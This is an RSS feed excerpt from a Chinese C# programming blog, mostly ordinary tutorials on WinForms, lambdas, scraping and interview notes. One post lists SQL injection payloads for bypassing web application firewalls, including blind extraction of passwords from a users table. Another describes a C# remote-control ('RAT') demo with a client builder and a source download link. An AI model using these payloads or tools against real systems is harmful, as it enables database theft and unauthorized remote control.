&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31378_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3070c473ca2d01dd23741af3e13d2f4328b9d89d.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是这样你注意看的话，左上角有个小的瑕疵。这个没办法的。。还有一种比较低级但还算有效的方法就是在设计的时候将TabControl向上移动。运行以后就会遮住了。&lt;/p&gt;
&lt;p&gt;我当时不过取巧了。好像就用的第二种。。今天看到这个题目的时候，就做了下标记。刚才去看。大牛已经给出答案了。就是自己继承一个TabControl控件。重写&lt;/p&gt;
&lt;pre&gt;void WndProc(ref Message m)&lt;/pre&gt;
&lt;p&gt;方法，在方法里拦截系统消息。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Windows.Forms;

class TablessControl : TabControl {
  protected override void WndProc(ref Message m) {
    // Hide tabs by trapping the TCM_ADJUSTRECT message
    if (m.Msg == 0x1328 &amp;amp;&amp;amp; !DesignMode) m.Result = (IntPtr)1;
    else base.WndProc(ref m);
  }
}&lt;/pre&gt;
&lt;p&gt;具体用法。就是在你的项目里新建一个类文件。然后把上面的代码拷进去。然后编译一下。就会在工具箱里多出一个TablessControl控件。拖进来即可使用。当然你也可以自定义一个用户控件。都不是事。这个控件设计时标签页可见。运行时由于拦截了信息消息。标签栏就不可见了。堪称完美。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>SQL注入中的WAF绕过技术</title>
      <link>http://blog.leaver.me/2013/01/06/sql%E6%B3%A8%E5%85%A5%E4%B8%AD%E7%9A%84waf%E7%BB%95%E8%BF%87%E6%8A%80%E6%9C%AF/</link>
      <pubDate>Sun, 06 Jan 2013 13:15:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/06/sql%E6%B3%A8%E5%85%A5%E4%B8%AD%E7%9A%84waf%E7%BB%95%E8%BF%87%E6%8A%80%E6%9C%AF/</guid>
      <description>&lt;p&gt;作者：bystander
博客：&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt;
论坛：法克论坛&lt;/p&gt;
&lt;p&gt;目录&lt;/p&gt;
&lt;p&gt;1.&lt;span style=&#34;font-family: 宋体;&#34;&gt;大小写绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;2.&lt;span style=&#34;font-family: 宋体;&#34;&gt;简单编码绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;3.&lt;span style=&#34;font-family: 宋体;&#34;&gt;注释绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;4.&lt;span style=&#34;font-family: 宋体;&#34;&gt;分隔重写绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;5.Http&lt;span style=&#34;font-family: 宋体;&#34;&gt;参数污染&lt;/span&gt;(HPP)&lt;/p&gt;
&lt;p&gt;6.&lt;span style=&#34;font-family: 宋体;&#34;&gt;使用逻辑运算符&lt;/span&gt; or /and&lt;span style=&#34;font-family: 宋体;&#34;&gt;绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;7.&lt;span style=&#34;font-family: 宋体;&#34;&gt;比较操作符替换&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;8.&lt;span style=&#34;font-family: 宋体;&#34;&gt;同功能函数替换&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;9.&lt;span style=&#34;font-family: 宋体;&#34;&gt;盲注无需&lt;/span&gt;or&lt;span style=&#34;font-family: 宋体;&#34;&gt;和&lt;/span&gt;and&lt;/p&gt;
&lt;p&gt;10.&lt;span style=&#34;font-family: 宋体;&#34;&gt;加括号&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;11.缓冲区溢出绕过&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;1. 大小写绕过&lt;/span&gt;&lt;/span&gt;
这个大家都很熟悉，对于一些太垃圾的WAF效果显著，比如拦截了union,那就使用Union UnIoN等等。绕过&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;2.  简单编码绕过&lt;/span&gt;&lt;/span&gt;
比如WAF检测关键字，那么我们让他检测不到就可以了。比如检测union,那么我们就用%55 也就是U的16进制编码来代替U, union写成 %55nION，结合大小写也可以绕过一些WAF，你可以随意替换一个或几个都可以。。&lt;/p&gt;
&lt;p&gt;也还有大家在Mysql注入中比如表名或是load文件的时候，会把文件名或是表明用16进制编码来绕过WAF都是属于这类。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;3.  注释绕过&lt;/span&gt;&lt;/span&gt;
这种情况比较少，适用于WAF只是过滤了一次危险的语句，而没有阻断我们的整个查询&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+union+select+1,2,3/*
&lt;/div&gt;
比如对于上面这条查询，WAF过滤了一次union和select，那么我们在之前在写一个注释的语句，让他把注释里面的过滤掉，，并不影响我们的查询。。
所以绕过语句就是：
&lt;div&gt;
&gt; /?id=1/*union*/union/*select*/select+1,2,3/*
&lt;/div&gt;
还有一种和注释有关的绕过：
比如
&lt;div&gt;
&gt; index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
&lt;/div&gt;
可以看到，只要我们把敏感词放到注释里面，注意，前面要加一个！
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;4.   分隔重写绕过&lt;/span&gt;&lt;/span&gt;
还是上面的例子，适用于那种WAF采用了正则表达式的情况，会检测所有的敏感字，而不在乎你写在哪里，有几个就过滤几个。。
我们可以通过注释分开敏感字,这样WAF的正则不起作用了，而带入查询的时候并不影响我们的结果&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+un/**/ion+sel/**/ect+1,2,3--
&lt;/div&gt;
至于重写绕过，适用于WAF过滤了一次的情况，和我们上传aaspsp马的原理一样，我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了
&lt;div&gt;
&gt; ?id=1 ununionion select 1,2,3--
&lt;/div&gt;
&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;5.   Http参数污染(HPP)&lt;/span&gt;&lt;/span&gt;
比如我们有这样的语句：
&lt;div&gt;
&gt; /?id=1 union select+1,2,3+from+users+where+id=1--
&lt;/div&gt;
我们可以重复一次前面的id值添加我们的值来绕过，&amp;amp;id=会在查询时变成逗号
&lt;div&gt;
&gt; /?id=1 union select+1&amp;amp;id=2,3+from+users+where+id=1--
&lt;/div&gt;
这种情况成功的条件比较多，取决于具体的WAF实现。。
&lt;p&gt;再给出一个例子说明用法&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1/**/union/*&amp;amp;id=*/select/*&amp;amp;id=*/pwd/*&amp;amp;id=*/from/*&amp;amp;id=*/users--
&lt;/div&gt;
具体分析的话就涉及到查询语句的后台代码的编写了。
比如服务器是这样写的：
&lt;div&gt;
&gt; select * from table where a=&#34;.$_GET[&#39;a&#39;].&#34; and b=&#34;.$_GET[&#39;b&#39;].&#34; limit &#34;.$_GET[&#39;c&#39;];
&lt;/div&gt;
那我们可以构造这样的注入语句：
&lt;div&gt;
&gt; /?a=1+union/*&amp;amp;b=*/select+1,pass/*&amp;amp;c=*/from+users--
&lt;/div&gt;
最终解析为：
&lt;div&gt;
&gt; select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
&lt;/div&gt;
可以看到，这种方式其实比较适合白盒测试，而对于黑盒渗透的话，用起来比较麻烦。但是也可以一试。
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;6. 使用逻辑运算符 or /and绕过&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+OR+0x50=0x50
&gt; /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
&lt;/div&gt;
顺便解释一下第二句话，从最里面的括号开始分析，select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录，比如是admin，
然后mid(上一句),1,1就是取admin的第一个字符，也就是a，
lower(上一句)就是把字符转换为小写，
然后ascii就是把a转换成ascii码，看等不等于74.
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;7.  比较操作符替换&lt;/span&gt;&lt;/span&gt;
包括!= 不等于，&amp;lt;&amp;gt;不等于，&amp;lt; 小于，&amp;gt;大于，这些都可以用来替换=来绕过，
比如上一个例子，要判断是不是74，假设=被过滤，那么我们可以判断是不是大于73，是不是小于75，然后就知道是74了。。很多WAF都会忘了这个。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;8.  同功能函数替换&lt;/span&gt;&lt;/span&gt;
Substring()可以用mid(),substr()这些函数来替换，都是用来取字符串的某一位字符的。
Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换
Benchmark() 可以用sleep()来替换，这两个使用在基于延时的盲注中，有机会给大家介绍
如果连这些都屏蔽了，还有一种新的方法&lt;/p&gt;</description>
    </item>
    <item>
      <title>远程管理Demo(C#)</title>
      <link>http://blog.leaver.me/2013/01/04/%E8%BF%9C%E7%A8%8B%E7%AE%A1%E7%90%86democ/</link>
      <pubDate>Fri, 04 Jan 2013 15:18:06 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/04/%E8%BF%9C%E7%A8%8B%E7%AE%A1%E7%90%86democ/</guid>
      <description>&lt;p&gt;一个C#的通信的例子&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31142_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8a608877e1ae0aef14d26fea8260f247bbb7ee33.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;1.服务端，服务端通过ip和端口生成客户端之后，点击开始监听后，便开启监听线程持续监听，同时注册断开连接和收到信息的事件。收到来自TcpClient 流中的信息后，解析之，如果是连接信息，就添加到连接列表，这样服务端就可以显示多个客户端了。如果是断开信息，就删掉。如果服务端想要给客户端发消息，就选中该客户，然后填写信息，就会调用连接类的发送方法。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;2.客户端，也就是被控端，被控端通过tcp连接到远端ip，然后发送连接成功状态，随后异步读取。读取到信息后调用解析方式。然后处理。。&lt;/p&gt;
&lt;p&gt;3.服务端如何生成客户端。其实也比较简单。就是写好客户端以后，保存为文本。然后通过CodeDomProvider的相关方法来编译即可。代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; public static bool Compile(string EXE_Name, string Source)
        {
            CodeDomProvider Compiler = CodeDomProvider.CreateProvider(&#34;CSharp&#34;);
            CompilerParameters Parameters = new CompilerParameters();
            CompilerResults cResults = default(CompilerResults);

            Parameters.GenerateExecutable = true;
            Parameters.OutputAssembly = EXE_Name;
            Parameters.ReferencedAssemblies.Add(&#34;System.dll&#34;);
            Parameters.CompilerOptions = &#34; /target:winexe&#34;;
            Parameters.TreatWarningsAsErrors = false;

            cResults = Compiler.CompileAssemblyFromSource(Parameters, Source);

            if (cResults.Errors.Count &amp;gt; 0)
            {
                foreach (CompilerError CompilerError_loopVariable in cResults.Errors)
                {
                    CompilerError error = CompilerError_loopVariable;
                    MessageBox.Show(&#34;Error: &#34; + error.ErrorText, &#34;&#34;, MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return false;
            }
            else if (cResults.Errors.Count == 0)
            {
                return true;
            }
            return true;
        }&lt;/pre&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=223714&amp;amp;uk=1493685990&#34;&gt;CSharp RAT Example.zip&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第一部分</title>
      <link>http://blog.leaver.me/2012/12/18/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</link>
      <pubDate>Tue, 18 Dec 2012 19:38:42 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/18/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;好长时间没发技术文章了，恰好看到一篇非常详细的Lambda文章。一边翻译一边学习。题目好像有点霸气。。&lt;/p&gt;
&lt;h1 id=&#34;介绍&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;Lambda表达式是使代码更加动态，易于扩展并且更加快速（看完本文你就知道原因了）的强有力的工具。也可以用来降低潜在的错误。同时可以利用静态输入和智能提示，就像VS里一样。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Lambda表达式在.net framework 3.5中提出来。并且在LINQ和ASP.NET MVC内部的一些技术中扮演了相当重要的角色。如果你考虑一下ASP.NET MVC中各类控件的实现。你就发现。奥妙就是他们大多使用了Lambda表达式。和Lambda表达式一起，使用Html扩展方法将会使得在后台创建模型成为可能。&lt;/p&gt;
&lt;p&gt;本文会讲到如下的知识。&lt;/p&gt;
&lt;p&gt;1.简短的介绍-Lambda表达式是什么，以及为什么和匿名方法不同（之前我们使用的）
2.走近Lambda表达式的性能-在哪些情况下比起标准方法，Lambda会提高/损失性能
3.深入-Lambda表达式在MSIL代码中是什么样
4.一些来自JS世界的模式映射到C#中
5.那些能够提高性能，并且代码看起来相当舒服的使用Lambda的情况。
6.一些我提出的新模式-当然有可能别人也提出来了。但这是我的思考结果。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果你期望本文是一篇入门教程我可能要让你失望了，除非你真的很优秀并且很聪明，当然我不是这种人，所以我也想提前声明一下：为了读懂这篇文章你可能需要C#的一些高级知识，并且对C#比较了解。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;你应该期望本文试着解释一些事情给你，也会解释一些有趣的问题，至少对我来说是这样的。最后我会展示一些实际的例子和模式，如我所说，Lambda表达式简化了很多情况。因此写显式的模式很有用。&lt;/p&gt;
&lt;h1 id=&#34;背景知识-什么是lambda表达式&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;strong&gt;背景知识-什么是Lambda表达式&lt;/strong&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;在C#1.0中，委托被提出了，它使得传递函数成为可能，一句话就是委托就是强类型的函数指针，但委托比指针更强大。一般传递一个函数需要如下几步。
1. 写一个委托（就像一个类）包含返回类型和参数类型
2. 使用委托作为某一个函数的参数类型，这样，该函数就可以接受和委托描述的有着相同签名的函数了
3. 将一个委托类型的函数传递给委托，创建一个委托实例。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果听起来很复杂，确实本来很复杂，但这是必需的。（虽然不是造火箭，但是比你认为的要更多的代码），然而步骤三不是必需的，编译器会为你做他，但是步骤1和2却是必不可少的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;幸运的是C#2.0出现了泛型，现在我们也可以写泛型类，方法，更重要的是，泛型委托，然而，直到.net framework 3.5的时候。微软意识到实际上只有两种泛型委托（当然有一些不同的重载），会覆盖99%的使用情况：&lt;/p&gt;
&lt;p&gt;1.Action 没有任何输入参数，也没有输出参数。
2.Action&amp;lt;t1,…t16&amp;gt; 需要1-16个参数，没有输出参数。
3.Func&amp;lt;t1….t16,tout&amp;gt;需要0-16个参数，一个输出参数&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Action和其对应的泛型版本（仅仅是一个动作，执行一些事情）返回void的时候。Func则可以返回最后一个参数指定的类型，通过这两个委托类型，我们事实上，大部分情况下。前面提到的三步中的第一部就不用写的。而第二步仍然需要。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;那么如果我们想要运行代码的时候怎么做呢。在C#2.0中问题已经可以解决了。在这个版本里。我们可以创建委托方法，也就是一个匿名方法，然后这个语法一直未能流行起来，一个相当简化的匿名方法的版本类似这样：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Func&amp;lt;double, double&amp;gt;  square = delegate (double x) {
return x * x;
}&lt;/pre&gt;
&lt;p&gt;为了提高这种语法，欢迎来到Lambda表达式的国度。首先，这个Lambda名字怎么来的？事实上。来自于数学上的λ演算，更准确的说他是数学中一个正式的系统。用于通过变量绑定和替换来进行表达式计算，所以我们有0-N个输入参数和一个返回值，而在编程中，也可以没有返回值&lt;/p&gt;
&lt;h1 id=&#34;我们看一下lambda表达式的一些例子&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;我们看一下Lambda表达式的一些例子&lt;/span&gt;&lt;/h1&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//编译器可以识别，然后就可以通过dummyLambda();来调用了
var dummyLambda = () =&amp;gt; { Console.WriteLine(&#34;Hallo World from a Lambda expression!&#34;); };

//可以通过类似 double y = square(25);来使用
Func&amp;lt;double, double&amp;gt; square = x =&amp;gt; x * x;

//可以通过类似double z = product(9, 5);来使用
Func&amp;lt;double, double,double&amp;gt; product = (x, y) =&amp;gt; x * y;

//可以通过类似printProduct(9, 5);来使用
Action&amp;lt;double, double&amp;gt; printProduct = (x, y) =&amp;gt; { Console.Writeline(x * y); };

//可以通过类似var sum = dotProduct(new double[] { 1, 2, 3 }, new double[] { 4, 5, 6 });
Func&amp;lt;double[], double[], double&amp;gt; dotProduct = (x, y) =&amp;gt; {
var dim = Math.Min(x.Length, y.Length);
var sum = 0.0;
for(var i = 0; i != dim; i++)
sum += x[i] + y[i];
return sum;
};

//可以通过类似 var result = matrixVectorProductAsync(...);使用
Func&amp;lt;double[,], double[], double[]=&#34;&#34;&amp;gt; matrixVectorProductAsync = async (x, y) =&amp;gt; {
var sum = 0.0;
/* do some stuff ... */
return sum;
};&lt;/pre&gt;
&lt;p&gt;从上面的代码段里我们可以学到一些东西&lt;/p&gt;</description>
    </item>
    <item>
      <title>[源码]打包下载算法与数据结构演示动画</title>
      <link>http://blog.leaver.me/2012/12/03/%E6%BA%90%E7%A0%81%E6%89%93%E5%8C%85%E4%B8%8B%E8%BD%BD%E7%AE%97%E6%B3%95%E4%B8%8E%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E6%BC%94%E7%A4%BA%E5%8A%A8%E7%94%BB/</link>
      <pubDate>Mon, 03 Dec 2012 18:51:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/03/%E6%BA%90%E7%A0%81%E6%89%93%E5%8C%85%E4%B8%8B%E8%BD%BD%E7%AE%97%E6%B3%95%E4%B8%8E%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E6%BC%94%E7%A4%BA%E5%8A%A8%E7%94%BB/</guid>
      <description>&lt;p&gt;很早的时候，学习数据结构的时候。收集了一下演示的动画。帮助理解。但是不全。今天在看KMP算法的时候。看到了福州大学的一个精品课程。。81个演示动画呢。。想打包下载收藏。话说福州大学这才是好样的。踏踏实实搞学术。&lt;/p&gt;
&lt;p&gt;第一种方法就是手工了。。嘎嘎。你敢么。一个个下载。。。一个个改名。。&lt;/p&gt;
&lt;p&gt;第二种就是用整站下载的软件了。。但是我看了一下swf的命名。我就知道下载下来意义不大。因为名字不好理解。&lt;/p&gt;
&lt;p&gt;第三种就是自己写个程序吧。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;整体思路，首先访问课程页面，解析得到每一章的标题和内容，然后创立章节文件夹，得到每个动画对应的html页面，然后对html页面解析，提取swf地址。然后下载就行了。&lt;/p&gt;
&lt;p&gt;比较疼的地方是那个页面用的是gb2312编码。而解析神器HtmlAgilityPack，不能指定编码。只能想办法绕过了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;            WebClient client = new WebClient();
            MemoryStream ms = new MemoryStream(client.DownloadData(url));
            HtmlDocument doc = new HtmlDocument();
            doc.Load(ms, Encoding.GetEncoding(&#34;gb2312&#34;));&lt;/pre&gt;
&lt;p&gt;绕过方法就是先使用内置类得到内存流。然后从内存中加载。&lt;/p&gt;
&lt;p&gt;然后呢。涉及的技术就是xpath了。参考着xpath的文档。搞定了不少。中间还有一个地方就是我没注意看。这个页面有两个文件是一样名字。。调试了几次才发现。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using HtmlAgilityPack;
using System.IO;
using System.Threading;
using System.Net;

namespace FzuSwf
{
    class Program
    {
        static void Main(string[] args)
        {
            DoWork();
        }

        //执行任务
        static void DoWork()
        {
            HtmlWeb web = new HtmlWeb();
            HtmlDocument doc = web.Load(&#34;http://ds.fzu.edu.cn/fine/resources/&#34;);
            HtmlNode divResource = doc.GetElementbyId(&#34;divResource&#34;);
            foreach (HtmlNode child in divResource.ChildNodes)
            {
                if (child.Name == &#34;table&#34;)
                {
                    HtmlNode ptile = child.SelectSingleNode(&#34;tr[1]&#34;);

                    Directory.CreateDirectory(ptile.InnerText.Trim());
                    int i = 0;
                    HtmlNodeCollection pcontents = child.SelectNodes(&#34;tr[position()&amp;gt;1]&#34;);
                    Console.WriteLine(ptile.InnerText.Trim());
                    foreach (HtmlNode one in pcontents)
                    {
                        string link = one.SelectSingleNode(&#34;./td[1]/p[1]/a[@href]&#34;).Attributes[&#34;href&#34;].Value;

                        link = @&#34;http://ds.fzu.edu.cn/fine/resources/&#34; + link;

                        string filename;

                        filename = one.InnerText.Trim();
                        if (one.InnerText.Trim() == &#34;二叉树的顺序存储表示&#34;)
                        {
                            filename += i;
                            i++;
                        }
                        string swfLink = getSwfName(link);
                        Console.WriteLine(&#34;--&#34; + filename + swfLink);
                        DownSwf(swfLink, ptile.InnerText.Trim() + @&#34;/&#34; + filename + &#34;.swf&#34;);

                        Thread.Sleep(1000);

                    }
                }

            }
        }

        //下载指定的swf
        static void DownSwf(string url, string desname)
        {
            Uri u = new Uri(url);
            WebClient myWebClient = new WebClient();
            myWebClient.DownloadFileAsync(u, desname);
        }

        //获取指定页面的那个swf名称
        static string getSwfName(string url)
        {
            WebClient client = new WebClient();
            MemoryStream ms = new MemoryStream(client.DownloadData(url));
            HtmlDocument doc = new HtmlDocument();
            doc.Load(ms, Encoding.GetEncoding(&#34;gb2312&#34;));
            HtmlNode hd = doc.DocumentNode;

            string str = hd.SelectSingleNode(&#34;//a[@href]&#34;).Attributes[&#34;href&#34;].Value;

            return @&#34;http://ds.fzu.edu.cn/fine/resources/&#34; + str;
        }

    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C#与.net 程序员面试笔记</title>
      <link>http://blog.leaver.me/2012/11/28/c%23%E4%B8%8E.net-%E7%A8%8B%E5%BA%8F%E5%91%98%E9%9D%A2%E8%AF%95%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Wed, 28 Nov 2012 07:13:03 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/28/c%23%E4%B8%8E.net-%E7%A8%8B%E5%BA%8F%E5%91%98%E9%9D%A2%E8%AF%95%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;这是前几天读的书。书不难。10-13章跳过了。以后再看。&lt;/p&gt;
&lt;p&gt;以前，一个应用程序对应一个进程。并且为该进程指定虚拟内存，这样。进程会消耗很多资源，而且进程之间的通信业比较麻烦&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;应用程序域&lt;/strong&gt;可以理解为很多应用程序域都可以运行在同一个.net 进程中，降低内存消耗。同时不同的域之间隔离。安全有保证。通信也简单。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;程序集&lt;/strong&gt;是指包含编译好的。面向.net framework的代码的逻辑单元。是完全自我描述性的一个逻辑单元。可以存储在多个文件中。简单来说，程序集就是几个彼此有关联程序文件的集合。程序集会包含程序的元数据。描述了对应代码中定义的方法和类型。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;装箱和拆箱&lt;/strong&gt;：装箱转换是将一个值类型显式或隐式的转换成一个object对象。并且把这个对象转换成一个被该值类型应用的的接口类型。装箱后的object对象中的数据位于堆中。一般应该避免这种运算。
CLR将值类型的数据包裹到匿名的托管对象中，并将托管对象的引用放在Object类型的变量中。这个过程称为装箱。一般还是使用泛型来代替多好。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值类型和引用类型&lt;/strong&gt;：值类型实例通常分配在线程的栈上。并且不包含指向任何实例数据的指针。引用类型实例分配在托管堆上。变量保存了实例数据的内存引用。引用类型复制的话会导致引用同一个内存地址。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;C#预处理指令&lt;/strong&gt;是在编译时调用的。预处理指令通知C#编译器要编译哪些代码。并指出如何处理特定的错误和异常。比如用在一些调试的时候。在顶部define一个debug 内部的测试部分写上测试用例。具体示例&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//定义条件变量，注意条件变量的定义要在代码的最前面
#define Debug
using System;
namespace MyConsole
{
  class Preprocesor
  {
    public static void Main()
    {
     //如果条件变量是Debug则运行单元调试代码，再运行功能模块返回运行结果
    #if Debug
      Console.WriteLine(&#34;运行单元测试模块&#34;);
      Console.WriteLine(&#34;运行功能模块，返回输出结果&#34;);
     Console.Read();
   #elif Release
      //如果条件变量是Release，则直接运行功能模块返回运行结果
        Console.WriteLine(&#34;运行功能模块，返回输出结果&#34;);
       Console.Read();
       #endif
      }
   }
}&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;C#中的指针&lt;/strong&gt;
指针是一个无符号整数。是以当前系统寻址范围为取值范围的整数，CLR支持三种指针类型：受托管指针，非托管指针，非托管函数指针，受托管指针存储在堆上的托管块的引用，一个非托管指针就是传统意义上的指针，要放在unsafe中使用，C#中指针并不继承自Object&lt;/p&gt;
&lt;p&gt;String 是CLR的类型名称。而string是C#的关键字。其实C#编译时。。会增下如下代码：
using string=System.String&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Array 到ArrayList的转换&lt;/strong&gt;
1.使用ArrayList.Adapter(ArrayName) 可以直接得到ArrayList
2.使用遍历逐个添加到ArrayList里。
反向的话直接使用(Array[])ArrayListName.ToArray(typeof(Array));即可&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;checked和unchecked&lt;/strong&gt;语句用于控制整形算术运算和显示转换的溢出检查上下文。checked关键字用于对整型算术运算和转换显式启用溢出检查。因为默认情况下。如果表达式产生的值超过了类型的范围。则常数表达式将会导致编译时错误。而非常数表达式则在运行时计算并将引发异常。&lt;/p&gt;
&lt;p&gt;Asp.Net 中的&lt;strong&gt;Request对象&lt;/strong&gt;主要功能是从客户端得到数据信息。他的属性比较多。比如UserLanguage，TotalBytes，Path，ApplicationPath&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ViewState&lt;/strong&gt;是其的一个重要特性。用于把生成页面要用的状态值保存到一个隐藏域里。而不是用cookie/内存&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SOAP&lt;/strong&gt;是Web Service应用的基础协议。他是一种轻量的简单的。基于xml的协议。被设计成在wEb上交换结构化的和固有的信息。
WSDL是一种用于描述web服务和说明如何与Web服务通信的XML语言。WSDL是一种符合XML语法规范的语言。它的设计完全基于Soap协议的实现。当一个WEb Service 服务器期望为使用者提供服务说明时，WSDL语言是最好的选择之一。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;**对企业的一些认识 **&lt;/p&gt;
&lt;p&gt;千万不要说自己未来的打算是做到管理层，首先对管理层的定义不清楚。职务不清楚。所以保险的答案是我会努力钻研技术。使得能够达到业内的专业人士。深刻理解公司和行业&lt;/p&gt;
&lt;p&gt;我是为了找一份长期性的工作。我不喜欢频繁的跳槽我希望在这个利于发展自己的事业。深入学习。向专业人士请教。那。该我想问这个职务是长期的吗？&lt;/p&gt;
&lt;p&gt;不要把公司想像成慈善机构。工作的运作方面应该是尽可能快的实现盈利。树立品牌，赢得客户。我的工作就是完成企业的良性运作。&lt;/p&gt;
&lt;p&gt;如果被问到是否需要考虑看分数。应该说用人单位确实需要全面考量。也要考虑应聘者的工作积极性/服从性。实际经验/对开发的理解诶。这些也许比分数更有价值。&lt;/p&gt;
&lt;p&gt;应届生的优缺点应该是足够的理论知识和专业能力。缺点是工作和社会经验不足。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#模拟手工洗牌(附测试)</title>
      <link>http://blog.leaver.me/2012/11/25/c%23%E6%A8%A1%E6%8B%9F%E6%89%8B%E5%B7%A5%E6%B4%97%E7%89%8C%E9%99%84%E6%B5%8B%E8%AF%95/</link>
      <pubDate>Sun, 25 Nov 2012 09:24:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/25/c%23%E6%A8%A1%E6%8B%9F%E6%89%8B%E5%B7%A5%E6%B4%97%E7%89%8C%E9%99%84%E6%B5%8B%E8%AF%95/</guid>
      <description>&lt;p&gt;洗牌大家都知道，代码实现最广泛的一种就是产生两个随机数，然后交换这两个随机数为下标的牌，但是这种的洗牌并不能保证同概率，你可以参考本文做一些测试，本文代码没啥可说的。我写出了非常详细的注释&lt;/p&gt;
